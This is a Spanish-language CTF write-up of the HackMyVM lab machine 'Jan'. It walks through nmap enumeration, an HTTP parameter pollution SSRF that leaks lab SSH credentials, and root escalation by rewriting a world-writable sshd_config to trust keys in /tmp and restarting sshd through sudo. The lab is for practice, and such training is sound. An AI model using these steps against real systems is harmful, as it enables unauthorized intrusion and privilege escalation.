cd ~/blog

~/writeups/hmv/122-jan.md

122 - Jan

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
HTTP Parameter Pollution con SSRF hacia un endpoint internoWritable sshd_config con Sudo-Allowed service restart
hackmyvm.eu/machines/machine.php?vm=Jan

~1 min de lectura


Enumeración de servicios

El objetivo expone SSH y una aplicación HTTP escrita en Go. El resultado del script http-open-proxy también apunta a que el servicio puede efectuar redirecciones o solicitudes en nombre del cliente:

❯ nmap -sCV -p 22,8080 -oN 02-targeted.txt 192.168.1.8
...
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.9 (protocol 2.0)
8080/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
|     Welcome to our Public Server. Maybe Internal.
...

Rutas internas de la aplicación

robots.txt revela /redirect y /credz. La segunda ruta rechaza las peticiones externas, lo que indica que su control de acceso depende del origen de la solicitud:

❯ cat robots.txt
/redirect
/credz

❯ curl http://192.168.1.8:8080/credz
Only accessible internally.

HTTP Parameter Pollution y SSRF

/redirect recibe el destino mediante url. Al enviar dos valores para el mismo parámetro provocamos una HTTP Parameter Pollution: distintas partes de la aplicación pueden validar y consumir ocurrencias diferentes. En este caso, la combinación hace que el servidor solicite /credz desde su propio contexto, convirtiendo el redirector en una SSRF que sortea la restricción por origen:

❯ curl http://192.168.1.8:8080/redirect
Parameter 'url' needed.

❯ curl 'http://192.168.1.8:8080/redirect?url=/credz'
Only accessible internally.

❯ curl 'http://192.168.1.8:8080/redirect?url=/credz&url=/credz'
ssh/EazyLOL

La respuesta interna expone el par ssh/EazyLOL. El primer valor es el usuario, aunque el prompt posterior muestre jan como hostname. Con esas credenciales entramos por SSH en el sistema Alpine y obtenemos acceso a la cuenta sin privilegios:

❯ ssh ssh@192.168.1.8
ssh@192.168.1.8's password: EazyLOL
Welcome to Alpine!
...
jan:~$

Escalada mediante una configuración de SSH escribible

sudo -l permite reiniciar sshd como root sin contraseña:

jan:~$ sudo -l
...
User ssh may run the following commands on jan:
    (root) NOPASSWD: /sbin/service sshd restart

El permiso aislado para reiniciar el servicio no permite escalar, pero /etc/ssh/sshd_config es escribible por cualquier usuario. La combinación forma un Sudo-Allowed Program Abuse: redirigimos la autenticación de root a un authorized_keys bajo nuestro control, desactivamos la comprobación estricta de permisos y luego aplicamos la configuración mediante el reinicio autorizado:

jan:~$ ls -l /etc/ssh/sshd_config
-rw-rw-rw-    1 root     root          3355 Jan 28 09:01 /etc/ssh/sshd_config

jan:~$ echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
jan:/tmp$ echo "AuthorizedKeysFile /tmp/authorized_keys" >> /etc/ssh/sshd_config
jan:~$ echo 'PubkeyAuthentication yes' >> /etc/ssh/sshd_config
jan:~$ echo 'StrictModes no' >> /etc/ssh/sshd_config

Colocamos nuestra clave pública en /tmp/authorized_keys, reiniciamos el servicio y usamos la clave privada correspondiente para autenticarnos como root:

jan:/tmp$ sudo /sbin/service sshd restart

❯ ssh root@192.168.1.8 -i id_rsa
Enter passphrase for key '/home/wh01s17/.ssh/id_rsa':
Welcome to Alpine!
...
jan:~# whoami
root

La salida existente de whoami confirma que la nueva sesión pertenece a root. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados